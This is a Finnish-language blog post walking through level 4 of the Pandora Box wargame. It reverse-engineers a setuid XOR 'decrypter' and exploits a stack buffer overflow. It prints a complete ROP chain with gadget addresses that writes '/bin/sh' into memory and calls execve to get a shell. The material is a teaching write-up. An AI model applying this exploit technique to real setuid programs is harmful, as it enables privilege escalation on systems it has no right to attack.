Pandora Box – Taso 4

Tällä kertaa haasteena olisi salauksen purkamiseen tehty ohjelma. Ainoa tieto mikä annetaan on seuraava readme.

level3@pb0x:~$ cat level4_readme.txt 
This level comes with a example file 'cryptocon.bin' and password 'p4ssw0rd'.

Ohjelma itsessään toimii näin.

level3@pb0x:~$ ./level4
-= CryptoMessage decrypter =-
Usage: ./level4  

level3@pb0x:~$ ./level4 cryptocon.bin p4ssw0rd
Message: 
Hello there,

You badass hacker! This is secure secret message!

level3@pb0x:~$ ./level4 level4_readme.txt p4ssw0rd
Error: Invalid or corrupted file

Jollain tavalla ennen purkamista tarkistetaan, että salattu tiedosto on validi. Joten tämä oikeastaan jättää meille vain yhden vaihtoehdon, meidän tarvitsee selvittää miten itse salausalgoritmi toimii. Ennen binäärin disassemblaamista katsotaan kuitenkin mitä itse binääri paljastaa itsestään.

level3@pb0x:~$ file level4
level4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0xbad0e4b6347152264cd48749f5653bd33e0e9531, not stripped

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

IDA auki ja tutkimaan. Homma valkenee siten, että salaus on symmetterin ja perustuu XORaukseen.  Eli hyvin perinteinen ja yksinkertainen. Seuraavana on reverse engineerattu tärkeimät funktiot.

typedef struct {
  int length;
  char* data;
} FileData

int decrypt_file(char *filename, char *password)
{
  char decryptedMessage; // [sp+10h] [bp-1018h]@11
  char *v4; // [sp+1010h] [bp-18h]@11
  char *encryptedData; // [sp+1014h] [bp-14h]@7
  unsigned int encryptedDataLength; // [sp+1018h] [bp-10h]@7
  char *data; // [sp+101Ch] [bp-Ch]@7

  if ( !*password || strlen(password) > 16 )
  {
    puts("Error: Invalid password length");
    return 0;
  }

  FilelData* fileData = read_file(filename);
  if ( !fileData )
  {
    puts("Error: Failed to open file");
    return 0;
  }

  if ( fileData->length > 9 )
  {
    data = (char *)fileData->data;
    encryptedDataLength = fileData->length - 4;
    encryptedData = (char *)(fileData->data + 4);

    if ( get_checksum(encryptedData, encryptedDataLength) != *(unsigned int *)data )
    {
      puts("Error: Invalid or corrupted file");
      free_Filedata(fileData);
      return 0;
    }

    xcrypt(encryptedData, encryptedDataLength, password);

    encryptedDataLength -= 4;
    encryptedData += 4;

    if ( get_checksum(encryptedData, encryptedDataLength) != *((unsigned int *)data + 1) )
    {
      puts("Error: File data corrupted, bad password maybe?");
      free_Filedata(fileData);
      return 0;
    }

    v4 = encryptedData;
    bzero(&decryptedMessage, 4096);
    memcpy(&decryptedMessage, encryptedData + 2, *(short *)v4);

    printf("Message: %s\n", &decryptedMessage);
  }

  free_Filedata(fileData);
  return 0;
}

unsigned int get_checksum(char *data, unsigned int length)
{
  unsigned int chcks; // [sp+14h] [bp-Ch]@1
  signed int j; // [sp+18h] [bp-8h]@2
  unsigned int i; // [sp+1Ch] [bp-4h]@1

  i = 0;
  chcks = -1;
  while ( i < length )
  {
    chcks ^= (uint8_t)data[i];
    for ( j = 7; j >= 0; --j )
      chcks = (chcks >> 1) ^ -(chcks & 1) & 0xEDB88320;
    ++i;
  }

  return ~chcks;
}

unsigned int xcrypt(char *encryptedData, unsigned int length, char *password)
{
  unsigned int result; // eax@3
  unsigned int passwordLength; // [sp+18h] [bp-10h]@1
  unsigned int i; // [sp+1Ch] [bp-Ch]@1

  passwordLength = strlen(password);
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= length )
      break;
    encryptedData[i] ^= password[i % passwordLength] ^ (uint8_t)i;
  }

  return result;
}

Kokonaisuudessaan salauksen purkaminen/rakenne on seuraava:

  1. Luetaan tiedosto muistiin
  2. Ensimmäiset 4 tavua sisältävät datan tarkistussumman
  3. Lasketaan tarkistussumma loppuosasta
  4. Puretaan salaus
  5. Puretusta datasta 4 ensimmäistä tavua sisältää puretun datan loppuosan tarkistussumman
  6. Seuraavat 2 tavua kertovat viestin pituuden
  7. Loppuosa on varsinainen purettu viesti

Koodista paljastuu myös eräs tärkeä seikka. Puretulle viestille on vain varattu 4096 tavun bufferi, mutta siihen kopioidaan koko roska. Vaikka se olisikin pidempi. Ajaij.

Toteutetaan vastaava salausalgoritmi Pythonilla ja koitetaan saada asiat sekaisin. Tuttuun tapaan generoidaan pedalla syötepatterni, joka on yli tuon 4096:den ja salataan se. Nyt koitetaas purkaa tämä tiedosto!

Yllätyyys! Eli offsetilla 4124 kirjoitamme funktion paluuosoitteen yli. Enää tarvitsee kasata  vain shellcode. Koska NX-bitti on jälleen käännetty epäsuotuisaan asentoon, joten aika jälleen ROPetella.

Jotta tämä osuus ei aina vain olisi kasa jänniä heksanumeroita, niin voisin koittaa avata asioita vähän tarkemmin.

Ensinäkin shellcoden tarkoitus on nimensä mukaan koodin pätkä, joka yleensä pyrkii avaamaan komentorivin hyökkääjälle. Tapoja on monia ja jokainen tilanne on erilainen, mutta yksi yleisin tapa on koittaa kutsua:

sys_execve("/bin/sh", 0, 0);

Assemblyna sama näyttäisi jotakuinkin tältä (alustana 32-bit linux):

section     .text

    global main
    main:

        mov     edx, 0      ; evp argument
        mov     ecx, 0      ; args argument
        mov     ebx, cmd    ; filename argument
        mov     eax, 0x0b   ; sys_execve system call number
        int     0x80        ; system call

section     .data

    cmd     db '/bin/sh', 0x00 

Nykyaikaisilla suojausmekanismeillä emme kuitenkaan suoraa pysty tälläistä suorittamaan. Pitää pyrkiä saamaan sama vaikutus, mutta ehkä hiukan monimutkaisemmin.

Koska NX-bitti estää meitä suorittamasta omaa koodia, niin joudumme käyttämään hyväksi jo olemassa olevaa koodia. Koska pystymme kontrolloimaan stackia, niin koitamme löytää koodista haluamme komennot/komennon juuri ennen ret komentoa. Jolloin pystymme ketjuttamaan näitä ja saamaan aikaiseksi haluamme toiminnon.

Näiden gadgettien löytämiseen hyvä työkalu on ROPME.

Ensiksi meidän pitäisi saada merkkijono /bin/sh johonkin päin muistia. Tällä kertaa emme tiedä stackin sijaintia. Voimme kuitenkin kirjoittaa sen vaikka bss-osioon. Voimme ajatella, että kyseinen merkkijono koostuu kahdesta palasta: /bin ja /sh\x00. Molemmat ovat 4 tavua pitkiä. Eli vievät näppärästi yhden 32-bittisen kokonaisluvun verran tilaa. Nämähän voimme siirtää mov komennolla helposti muistiin.

Tähän tehtävään varteenotettava vaihtoehto on:

> 0x08062968 : mov [eax], edx; pop ebx; pop ebp; ret

Tässä kuitenkin on muutama ylimääräinen pop komento, jotka täytyy ottaa huomioon.

Nyt kuitenkin tarvisimme eax rekisteriin muistiosoitteen mihin merkkijonon osa tallennetaan ja edx rekisteriin itse merkkijonon puolikkaan. Tähän onneksi löytyy lähes aina pop-gadgetit.

> 0x080a8326 : pop eax; ret
> 0x08058386 : pop edx; ret

Eli ensimmäinen osiomme shellcode näyttäisti tältä.

shellcode += struct.pack("<I", 0x08058386) # pop edx; ret
shellcode += "/bin"
shellcode += struct.pack("<I", 0x080a8326) # pop eax; ret
shellcode += struct.pack("<I", 0x080cb000) # address where saving /bin
shellcode += struct.pack("<I", 0x08062968) # mov [eax], edx; pop ebx; pop ebp; ret
shellcode += "BBBB"*2

shellcode += struct.pack("<I", 0x08058386) # pop edx; ret
shellcode += "/sh\x00"
shellcode += struct.pack("<I", 0x080a8326) # pop eax; ret
shellcode += struct.pack("<I", 0x080cb004) # address where saving /sh\x00
shellcode += struct.pack("<I", 0x08062968) # mov [eax], edx; pop ebx; pop ebp; ret
shellcode += "CCCC"*2

Nyt muistista löytyy tarvittava merkkijono ja enää tarvitsee vain siirtää rekistereihin oikeat parametrit ja kutsua funktiota.

Tarvittavat gadgetit:

> 0x080a8326 : pop eax; ret
> 0x080583ad : pop ecx; pop ebx; ret
> 0x08058386 : pop edx; ret

Näiden avulla pystymme asettamaan parametrit paikoilleen.

shellcode += struct.pack("<I", 0x080a8326) # pop eax; ret
shellcode += struct.pack("<I", 0x0b)	   # sys_execve

shellcode += struct.pack("<I", 0x080583ad) # pop ecx; pop ebx; ret
shellcode += struct.pack("<I", 0x0)        # argv
shellcode += struct.pack("<I", 0x080cb000) # filename

shellcode += struct.pack("<I", 0x08058386) # pop edx; ret
shellcode += struct.pack("<I", 0x0)        # envp

Lopuksi tarvitsee enää vain luoda keskeytys.

shellcode += struct.pack("<I", 0x08058ab0) # int 80h

Näin olemme luoneet shellcoden käyttäen ROP-tekniikkaa hyödyksi ohittaessa NX-bitin.

level3@pb0x:~$ ./level4 own.bin p4ssw0rd
Message: AAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
....
BBBBBBBBBBBBBBBBBBBBBBBBBBBBB?/bin&?

$ whoami
level4

Koko toteutus löytyy kokonaisuudessaan täältä. Seuraavaksi vuorossa olisikin jo viimeinen kierros.

This entry was posted in Jotain aivan muuta and tagged , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *